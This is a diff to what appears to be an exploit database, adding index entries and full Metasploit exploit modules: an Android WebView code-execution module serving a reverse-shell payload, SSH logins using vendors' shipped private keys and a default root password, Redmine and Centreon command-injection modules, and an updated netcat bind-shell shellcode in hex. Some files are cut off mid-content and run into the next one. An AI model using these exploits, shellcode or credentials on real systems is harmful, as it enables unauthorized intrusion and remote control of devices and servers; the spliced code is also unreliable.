diff --git a/files.csv b/files.csv
index be69c1939..dbb87a56d 100644
--- a/files.csv
+++ b/files.csv
@@ -8867,6 +8867,23 @@ id,file,description,date,author,platform,type,port
41605,platforms/windows/local/41605.txt,"PCAUSA Rawether (ASUS PCE-AC56 WLAN Card Utilities Windows 10 x64) - Local Privilege Escalation",2017-03-15,ReWolf,windows,local,0
41607,platforms/windows/local/41607.cs,"Microsoft Windows - COM Session Moniker Privilege Escalation (MS17-012)",2017-03-15,"Google Security Research",windows,local,0
41619,platforms/windows/local/41619.txt,"Windows DVD Maker 6.1.7 - XML External Entity Injection",2017-03-16,hyp3rlinx,windows,local,0
+41675,platforms/android/local/41675.rb,"Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,android,local,0
+41681,platforms/multiple/local/41681.rb,"Adobe Flash Player - Nellymoser Audio Decoding Buffer Overflow (Metasploit)",2015-06-23,Metasploit,multiple,local,0
+41682,platforms/multiple/local/41682.rb,"Mozilla Firefox 5.0 < 15.0.1 - __exposedProps__ XCS Code Execution (Metasploit)",2013-08-06,Metasploit,multiple,local,0
+41683,platforms/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,multiple,local,0
+41700,platforms/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,windows,local,0
+41701,platforms/windows/local/41701.rb,"Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Remote Code Execution (Metasploit)",2014-12-16,Metasploit,windows,local,0
+41702,platforms/windows/local/41702.rb,"Microsoft Silverlight - ScriptObject Unsafe Memory Access (MS13-022/MS13-087) (Metasploit)",2013-03-12,Metasploit,windows,local,0
+41704,platforms/windows/local/41704.rb,"EMC Replication Manager < 5.3 - Command Execution (Metasploit)",2011-02-27,Metasploit,windows,local,0
+41705,platforms/windows/local/41705.rb,"MOXA MediaDBPlayback - ActiveX Control Buffer Overflow (Metasploit)",2010-10-19,Metasploit,windows,local,0
+41706,platforms/windows/local/41706.rb,"Microsoft Office - OLE Multiple DLL Side Loading Vulnerabilities (MS15-132/MS16-014/MS16-025/MS16-041/MS16-070) (Metasploit)",2015-12-08,Metasploit,windows,local,0
+41707,platforms/windows/local/41707.rb,"CA Arcserve D2D - GWT RPC Credential Information Disclosure (Metasploit)",2011-07-25,Metasploit,windows,local,0
+41708,platforms/windows/local/41708.rb,"Lenovo System Update - Privilege Escalation (Metasploit)",2015-04-12,Metasploit,windows,local,0
+41709,platforms/windows/local/41709.rb,"Firebird - Relational Database CNCT Group Number Buffer Overflow (Metasploit)",2013-01-31,Metasploit,windows,local,0
+41710,platforms/windows/local/41710.rb,"HP Intelligent Management Center < 5.0 E0102 - UAM Buffer Overflow (Metasploit)",2012-08-29,Metasploit,windows,local,0
+41711,platforms/windows/local/41711.rb,"VMware Host Guest Client Redirector - DLL Side Loading (Metasploit)",2016-08-06,Metasploit,windows,local,0
+41712,platforms/windows/local/41712.rb,"CADA 3S CoDeSys Gateway Server - Directory Traversal (Metasploit)",2013-02-02,Metasploit,windows,local,0
+41713,platforms/windows/local/41713.rb,"MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit)",2010-10-20,Metasploit,windows,local,0
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@@ -15358,7 +15375,15 @@ id,file,description,date,author,platform,type,port
41614,platforms/multiple/remote/41614.rb,"Apache Struts Jakarta - Multipart Parser OGNL Injection (Metasploit)",2017-03-15,Metasploit,multiple,remote,8080
41638,platforms/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,windows,remote,0
41666,platforms/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",windows,remote,0
-41672,platforms/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-03-22,Metasploit,windows,remote,0
+41672,platforms/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,windows,remote,0
+41679,platforms/linux/remote/41679.rb,"Ceragon FibeAir IP-10 - SSH Private Key Exposure (Metasploit)",2015-04-01,Metasploit,linux,remote,22
+41680,platforms/linux/remote/41680.rb,"ExaGrid - Known SSH Key and Default Password (Metasploit)",2016-04-07,Metasploit,linux,remote,22
+41684,platforms/multiple/remote/41684.rb,"GIT 1.8.5.6 / 1.9.5 / 2.0.5 / 2.1.4/ 2.2.1 & Mercurial < 3.2.3 - Multiple Vulnerabilities (Metasploit)",2014-12-18,Metasploit,multiple,remote,0
+41689,platforms/multiple/remote/41689.rb,"Ruby on Rails 4.0.x / 4.1.x / 4.2.x (Web Console v2) - Whitelist Bypass Code Execution (Metasploit)",2015-06-16,Metasploit,multiple,remote,0
+41690,platforms/multiple/remote/41690.rb,"Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)",2014-03-06,Metasploit,multiple,remote,0
+41693,platforms/multiple/remote/41693.rb,"Samba 2.2.2 < 2.2.6 - 'nttrans' Buffer Overflow (Metasploit)",2003-03-07,Metasploit,multiple,remote,0
+41694,platforms/multiple/remote/41694.rb,"SSH - User Code Execution (Metasploit)",1999-01-01,Metasploit,multiple,remote,0
+41695,platforms/linux/remote/41695.rb,"Redmine SCM Repository - Arbitrary Command Execution (Metasploit)",2010-12-19,Metasploit,linux,remote,0
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
@@ -15986,7 +16011,7 @@ id,file,description,date,author,platform,type,port
41510,platforms/lin_x86-64/shellcode/41510.nsam,"Linux/x86-64 - Polymorphic NetCat Reverse Shell Shellcode (106 bytes)",2017-03-04,"Robert L. Taylor",lin_x86-64,shellcode,0
41581,platforms/win_x86/shellcode/41581.c,"Windows x86 - Hide Console Window Shellcode (182 bytes)",2017-03-11,"Ege Balci",win_x86,shellcode,0
41630,platforms/lin_x86/shellcode/41630.asm,"Linux/x86 - Encoded exceve(_/bin/sh_) Shellcode (44 Bytes)",2017-03-17,WangYihang,lin_x86,shellcode,0
-41631,platforms/lin_x86/shellcode/41631.c,"Linux/x86 - Bind Shell Shellcode (42 bytes)",2017-03-17,"Oleg Boytsev",lin_x86,shellcode,0
+41631,platforms/lin_x86/shellcode/41631.c,"Linux/x86 - Bind Shell Shellcode (44 bytes)",2017-03-17,"Oleg Boytsev",lin_x86,shellcode,0
41635,platforms/lin_x86/shellcode/41635.txt,"Linux/x86 - File Reader Shellcode (54 Bytes)",2017-03-19,WangYihang,lin_x86,shellcode,0
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
@@ -37582,3 +37607,17 @@ id,file,description,date,author,platform,type,port
41663,platforms/php/webapps/41663.txt,"Joomla! Component Extra Search 2.2.8 - 'establename' Parameter SQL Injection",2017-03-21,"Ihsan Sencan",php,webapps,0
41665,platforms/php/webapps/41665.txt,"GLink Word Link Script 1.2.3 - SQL Injection",2017-03-22,"Ihsan Sencan",php,webapps,0
41671,platforms/hardware/webapps/41671.txt,"Solare Datensysteme Solar-Log Devices 2.8.4-56 / 3.5.2-85 - Multiple Vulnerabilities",2017-03-22,"SEC Consult",hardware,webapps,0
+41673,platforms/php/webapps/41673.txt,"Joomla! Component Modern Booking 1.0 - 'coupon' Parameter SQL Injection",2017-03-22,"Hamed Izadi",php,webapps,0
+41674,platforms/php/webapps/41674.txt,"Flippa Clone - SQL Injection",2017-03-23,"Ihsan Sencan",php,webapps,0
+41676,platforms/linux/webapps/41676.rb,"Centreon < 2.5.1 / Centreon Enterprise Server < 2.2 - SQL Injection / Command Injection (Metasploit)",2014-10-15,Metasploit,linux,webapps,0
+41677,platforms/linux/webapps/41677.rb,"D-Link/TRENDnet - NCC Service Command Injection (Metasploit)",2015-02-26,Metasploit,linux,webapps,0
+41678,platforms/linux/webapps/41678.rb,"Seagate Business NAS - Unauthenticated Remote Command Execution (Metasploit)",2015-03-01,Metasploit,linux,webapps,0
+41685,platforms/multiple/webapps/41685.rb,"MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit)",2014-11-18,Metasploit,multiple,webapps,0
+41686,platforms/multiple/webapps/41686.rb,"OP5 5.3.5 / 5.4.0 / 5.4.2 / 5.5.0 / 5.5.1 - 'license.php' Remote Command Execution (Metasploit)",2015-01-25,Metasploit,multiple,webapps,0
+41687,platforms/multiple/webapps/41687.rb,"OP5 5.3.5 / 5.4.0 / 5.4.2 / 5.5.0 / 5.5.1 - 'welcome' Remote Command Execution (Metasploit)",2015-01-05,Metasploit,multiple,webapps,0
+41688,platforms/multiple/webapps/41688.rb,"PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit)",2016-12-26,Metasploit,multiple,webapps,0
+41691,platforms/multiple/webapps/41691.rb,"SysAid Help Desk Administrator Portal < 14.4 - Arbitrary File Upload (Metasploit)",2015-06-03,Metasploit,multiple,webapps,0
+41692,platforms/multiple/webapps/41692.rb,"WordPress Plugin Ninja Forms 2.9.36 < 2.9.42 - Unauthenticated File Upload (Metasploit)",2016-05-04,Metasploit,multiple,webapps,0
+41697,platforms/linux/webapps/41697.rb,"SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit)",2015-02-11,Metasploit,linux,webapps,0
+41698,platforms/linux/webapps/41698.rb,"WordPress Theme Holding Pattern - Arbitrary File Upload (Metasploit)",2015-02-11,Metasploit,linux,webapps,0
+41714,platforms/windows/webapps/41714.rb,"Distinct TFTP 3.10 - Writable Directory Traversal Execution (Metasploit)",2012-04-08,Metasploit,windows,webapps,0
diff --git a/platforms/android/local/41675.rb b/platforms/android/local/41675.rb
new file mode 100755
index 000000000..f57ac02d3
--- /dev/null
+++ b/platforms/android/local/41675.rb
@@ -0,0 +1,161 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/android'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::BrowserExploitServer
+ include Msf::Exploit::Remote::BrowserAutopwn
+ include Msf::Exploit::Android
+
+ VULN_CHECK_JS = %Q|
+ for (i in top) {
+ try {
+ top[i].getClass().forName('java.lang.Runtime');
+ is_vuln = true; break;
+ } catch(e) {}
+ }
+ |
+
+ autopwn_info(
+ :os_name => OperatingSystems::Match::ANDROID,
+ :arch => ARCH_ARMLE,
+ :javascript => true,
+ :rank => ExcellentRanking,
+ :vuln_test => VULN_CHECK_JS
+ )
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
+ 'Description' => %q{
+ This module exploits a privilege escalation issue in Android < 4.2's WebView component
+ that arises when untrusted Javascript code is executed by a WebView that has one or more
+ Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
+ APIs exposed by the Interface and execute arbitrary commands.
+
+ Some distributions of the Android Browser app have an addJavascriptInterface
+ call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
+ 4.1.2 release of Android is known to be vulnerable.
+
+ A secondary attack vector involves the WebViews embedded inside a large number
+ of Android applications. Ad integrations are perhaps the worst offender here.
+ If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
+ into the page displayed in the WebView, then you can inject the html/js served
+ by this module and get a shell.
+
+ Note: Adding a .js to the URL will return plain javascript (no HTML markup).
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'jduck', # original msf module
+ 'joev' # static server
+ ],
+ 'References' => [
+ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
+ ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
+ ['URL', 'http://50.56.33.56/blog/?p=314'],
+ ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
+ ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
+ ['CVE', '2012-6636'], # original CVE for addJavascriptInterface
+ ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
+ ['EDB', '31519'],
+ ['OSVDB', '97520']
+ ],
+ 'Platform' => ['android', 'linux'],
+ 'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
+ 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
+ 'Targets' => [ [ 'Automatic', {} ] ],
+ 'DisclosureDate' => 'Dec 21 2012',
+ 'DefaultTarget' => 0,
+ 'BrowserRequirements' => {
+ :source => 'script',
+ :os_name => OperatingSystems::Match::ANDROID,
+ :vuln_test => VULN_CHECK_JS,
+ :vuln_test_error => 'No vulnerable Java objects were found in this web context.'
+ }
+ ))
+
+ deregister_options('JsObfuscate')
+ end
+
+ # Hooked to prevent BrowserExploitServer from attempting to do JS detection
+ # on requests for the static javascript file
+ def on_request_uri(cli, req)
+ if req.uri =~ /\.js/
+ serve_static_js(cli, req)
+ else
+ super
+ end
+ end
+
+ # The browser appears to be vulnerable, serve the exploit
+ def on_request_exploit(cli, req, browser)
+ arch = normalize_arch(browser[:arch])
+ print_status "Serving #{arch} exploit..."
+ send_response_html(cli, html(arch))
+ end
+
+ # Called when a client requests a .js route.
+ # This is handy for post-XSS.
+ def serve_static_js(cli, req)
+ arch = req.qstring['arch']
+ response_opts = { 'Content-type' => 'text/javascript' }
+
+ if arch.present?
+ print_status("Serving javascript for arch #{normalize_arch arch}")
+ send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
+ else
+ print_status("Serving arch detection javascript")
+ send_response(cli, static_arch_detect_js, response_opts)
+ end
+ end
+
+ # This is served to requests for the static .js file.
+ # Because we have to use javascript to detect arch, we have 3 different
+ # versions of the static .js file (x86/mips/arm) to choose from. This
+ # small snippet of js detects the arch and requests the correct file.
+ def static_arch_detect_js
+ %Q|
+ var arches = {};
+ arches['#{ARCH_ARMLE}'] = /arm/i;
+ arches['#{ARCH_MIPSLE}'] = /mips/i;
+ arches['#{ARCH_X86}'] = /x86/i;
+
+ var arch = null;
+ for (var name in arches) {
+ if (navigator.platform.toString().match(arches[name])) {
+ arch = name;
+ break;
+ }
+ }
+
+ if (arch) {
+ // load the script with the correct arch
+ var script = document.createElement('script');
+ script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
+ script.setAttribute('type', 'text/javascript');
+
+ // ensure body is parsed and we won't be in an uninitialized state
+ setTimeout(function(){
+ var node = document.body \|\| document.head;
+ node.appendChild(script);
+ }, 100);
+ }
+ |
+ end
+
+ # @return [String] normalized client architecture
+ def normalize_arch(arch)
+ if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
+ end
+
+ def html(arch)
+ "
"
+ end
+end
\ No newline at end of file
diff --git a/platforms/lin_x86/shellcode/41631.c b/platforms/lin_x86/shellcode/41631.c
index 13ca9f25b..50ef38293 100755
--- a/platforms/lin_x86/shellcode/41631.c
+++ b/platforms/lin_x86/shellcode/41631.c
@@ -4,39 +4,41 @@
# This shellcode will listen on random port and show you how deep the rabbit hole goes
# Please note that ports below 1024 require high privileges to bind!
# Shellcode Author: ALEH BOITSAU
-# Shellcode Length: 42 bytes!)
+# Shellcode Length: 44 bytes!)
# Tested on: Debian GNU/Linux 8/x86_64
# Command: gcc -m32 -z execstack super_small_bind_shell2.c -o super_small_bind_shell2
-global _start
section .text
+global _start
_start:
- xor eax, eax
- push eax
+ xor edx, edx
+ push edx
push 0x68732f2f ;-le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
- push eax
+ push edx
push 0x636e2f2f ;/bin//nc
push 0x6e69622f
mov ebx, esp
- push eax
+ push edx
push edi
push ebx
mov ecx, esp
+ xor eax, eax
mov al,11
- int 0x80
+ int 0x80
+
*/
#include
#include
unsigned char shellcode[] =
-"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
+"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x52\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
diff --git a/platforms/linux/remote/41679.rb b/platforms/linux/remote/41679.rb
new file mode 100755
index 000000000..32cfb63a4
--- /dev/null
+++ b/platforms/linux/remote/41679.rb
@@ -0,0 +1,146 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class MetasploitModule < Msf::Exploit::Remote
+ include Msf::Auxiliary::Report
+
+ Rank = ExcellentRanking
+
+ def initialize(info = {})
+ super(update_info(info, {
+ 'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
+ 'Description' => %q{
+ Ceragon ships a public/private key pair on FibeAir IP-10 devices
+ that allows passwordless authentication to any other IP-10 device.
+ Since the key is easily retrievable, an attacker can use it to
+ gain unauthorized remote access as the "mateidu" user.
+ },
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Privileged' => false,
+ 'Targets' => [ [ "Universal", {} ] ],
+ 'Payload' =>
+ {
+ 'Compat' => {
+ 'PayloadType' => 'cmd_interact',
+ 'ConnectionType' => 'find',
+ },
+ },
+ 'Author' => [
+ 'hdm', # Discovery
+ 'todb' # Metasploit module and advisory text (mostly copy-paste)
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2015-0936'],
+ ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
+ ],
+ 'DisclosureDate' => "Apr 01 2015", # Not a joke
+ 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+ 'DefaultTarget' => 0
+ }))
+
+ register_options(
+ [
+ # Since we don't include Tcp, we have to register this manually
+ Opt::RHOST(),
+ Opt::RPORT(22)
+ ], self.class
+ )
+
+ register_advanced_options(
+ [
+ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+ OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+ ]
+ )
+
+ end
+
+ # helper methods that normally come from Tcp
+ def rhost
+ datastore['RHOST']
+ end
+ def rport
+ datastore['RPORT']
+ end
+
+ def do_login(user)
+ factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
+ opt_hash = {
+ auth_methods: ['publickey'],
+ port: rport,
+ key_data: [ key_data ],
+ use_agent: false,
+ config: false,
+ proxy: factory,
+ non_interactive: true
+ }
+ opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+ begin
+ ssh_socket = nil
+ ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+ ssh_socket = Net::SSH.start(rhost, user, opt_hash)
+ end
+ rescue Rex::ConnectionError
+ return nil
+ rescue Net::SSH::Disconnect, ::EOFError
+ print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+ return nil
+ rescue ::Timeout::Error
+ print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+ return nil
+ rescue Net::SSH::AuthenticationFailed
+ print_error "#{rhost}:#{rport} SSH - Failed authentication"
+ return nil
+ rescue Net::SSH::Exception => e
+ print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+ return nil
+ end
+
+ if ssh_socket
+
+ # Create a new session from the socket, then dump it.
+ conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
+ ssh_socket = nil
+
+ return conn
+ else
+ return nil
+ end
+ end
+
+ def exploit
+ conn = do_login("mateidu")
+ if conn
+ print_good "#{rhost}:#{rport} - Successful login"
+ handler(conn.lsock)
+ end
+ end
+
+ def key_data
+ < 'ExaGrid Known SSH Key and Default Password',
+ 'Description' => %q{
+ ExaGrid ships a public/private key pair on their backup appliances to
+ allow passwordless authentication to other ExaGrid appliances. Since
+ the private key is easily retrievable, an attacker can use it to gain
+ unauthorized remote access as root. Additionally, this module will
+ attempt to use the default password for root, 'inflection'.
+ },
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Privileged' => true,
+ 'Targets' => [ [ "Universal", {} ] ],
+ 'Payload' =>
+ {
+ 'Compat' => {
+ 'PayloadType' => 'cmd_interact',
+ 'ConnectionType' => 'find',
+ },
+ },
+ 'Author' => ['egypt'],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2016-1560' ], # password
+ [ 'CVE', '2016-1561' ], # private key
+ [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
+ ],
+ 'DisclosureDate' => "Apr 07 2016",
+ 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+ 'DefaultTarget' => 0
+ }))
+
+ register_options(
+ [
+ # Since we don't include Tcp, we have to register this manually
+ Opt::RHOST(),
+ Opt::RPORT(22)
+ ], self.class
+ )
+
+ register_advanced_options(
+ [
+ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+ OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+ ]
+ )
+
+ end
+
+ # helper methods that normally come from Tcp
+ def rhost
+ datastore['RHOST']
+ end
+ def rport
+ datastore['RPORT']
+ end
+
+ def do_login(ssh_options)
+ begin
+ ssh_socket = nil
+ ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+ ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
+ end
+ rescue Rex::ConnectionError
+ return
+ rescue Net::SSH::Disconnect, ::EOFError
+ print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+ return
+ rescue ::Timeout::Error
+ print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+ return
+ rescue Net::SSH::AuthenticationFailed
+ print_error "#{rhost}:#{rport} SSH - Failed authentication"
+ rescue Net::SSH::Exception => e
+ print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+ return
+ end
+
+ if ssh_socket
+
+ # Create a new session from the socket, then dump it.
+ conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
+ ssh_socket = nil
+
+ return conn
+ else
+ return false
+ end
+ end
+
+ # Ghetto hack to prevent the shell detection logic from hitting false
+ # negatives due to weirdness with ssh sockets. We already know it's a shell
+ # because auth succeeded by this point, so no need to do the check anyway.
+ module TrustMeItsAShell
+ def _check_shell(*args)
+ true
+ end
+ end
+
+ def exploit
+ payload_instance.extend(TrustMeItsAShell)
+ factory = ssh_socket_factory
+
+ ssh_options = {
+ auth_methods: ['publickey'],
+ config: false,
+ use_agent: false,
+ key_data: [ key_data ],
+ port: rport,
+ proxy: factory,
+ non_interactive: true
+ }
+ ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
+
+ conn = do_login(ssh_options)
+
+ unless is_success?(conn, true)
+ ssh_options[:auth_methods] = ['password']
+ ssh_options[:password] = 'inflection'
+ ssh_options.delete(:key_data)
+ conn = do_login(ssh_options)
+ is_success?(conn, false)
+ end
+ end
+
+ def is_success?(conn,key_based)
+ if conn
+ print_good "Successful login"
+ service_data = {
+ address: rhost,
+ port: rport,
+ protocol: 'tcp',
+ service_name: 'ssh',
+ workspace_id: myworkspace_id,
+ }
+ credential_data = {
+ username: 'root',
+ private_type: ( key_based ? :ssh_key : :password ),
+ private_data: ( key_based ? key_data : 'inflection' ),
+ origin_type: :service,
+ module_fullname: fullname,
+ }.merge(service_data)
+
+ core = create_credential(credential_data)
+ login_data = {
+ core: core,
+ last_attempted: Time.now,
+ }.merge(service_data)
+
+ create_credential_login(login_data)
+
+ handler(conn.lsock)
+ true
+ else
+ false
+ end
+ end
+
+ def key_data
+ < 'Redmine SCM Repository Arbitrary Command Execution',
+ 'Description' => %q{
+ This module exploits an arbitrary command execution vulnerability in the
+ Redmine repository controller. The flaw is triggered when a rev parameter
+ is passed to the command line of the SCM tool without adequate filtering.
+ },
+ 'Author' => [ 'joernchen ' ], #Phenoelit
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2011-4929'],
+ ['OSVDB', '70090'],
+ ['URL', 'http://www.redmine.org/news/49' ]
+ ],
+ 'Privileged' => false,
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'Space' => 512,
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ #'RequiredCmd' => 'generic telnet',
+ }
+ },
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Targets' => [[ 'Automatic', { }]],
+ 'DisclosureDate' => 'Dec 19 2010',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
+ ], self.class)
+ end
+
+ def exploit
+ command = Rex::Text.uri_encode(payload.encoded)
+ urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"
+
+ res = send_request_raw({
+ 'uri' => urlconfigdir,
+ 'method' => 'GET',
+ 'headers' =>
+ {
+ 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
+ 'Connection' => 'Close',
+ }
+ }, 25)
+
+ if (res)
+ print_status("The server returned: #{res.code} #{res.message}")
+ else
+ print_status("No response from the server")
+ end
+ handler
+ end
+
+end
diff --git a/platforms/linux/webapps/41676.rb b/platforms/linux/webapps/41676.rb
new file mode 100755
index 000000000..c6841db0e
--- /dev/null
+++ b/platforms/linux/webapps/41676.rb
@@ -0,0 +1,138 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Centreon SQL and Command Injection',
+ 'Description' => %q{
+ This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
+ Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
+ injection in the displayServiceStatus.php component, it is possible to execute arbitrary
+ commands as long as there is a valid session registered in the centreon.session table.
+ In order to have a valid session, all it takes is a successful login from anybody.
+ The exploit itself does not require any authentication.
+ This module has been tested successfully on Centreon Enterprise Server 2.2.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'MaZ', # Vulnerability Discovery and Analysis
+ 'juan vazquez' # Metasploit Module
+ ],
+ 'References' =>
+ [
+ ['CVE', '2014-3828'],
+ ['CVE', '2014-3829'],
+ ['US-CERT-VU', '298796'],
+ ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
+ ],
+ 'Arch' => ARCH_CMD,
+ 'Platform' => 'unix',
+ 'Payload' =>
+ {
+ 'Space' => 1500, # having into account 8192 as max URI length
+ 'DisableNops' => true,
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd cmd_bash',
+ 'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
+ }
+ },
+ 'Targets' =>
+ [
+ ['Centreon Enterprise Server 2.2', {}]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Oct 15 2014',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
+ ], self.class)
+ end
+
+ def check
+ random_id = rand_text_numeric(5 + rand(8))
+ res = send_session_id(random_id)
+
+ unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
+ return Exploit::CheckCode::Safe
+ end
+
+ injection = "#{random_id}' or 'a'='a"
+ res = send_session_id(injection)
+
+ if res && res.code == 200
+ if res.body && res.body.to_s =~ /sh: graph: command not found/
+ return Exploit::CheckCode::Vulnerable
+ elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
+ return Exploit::CheckCode::Detected
+ end
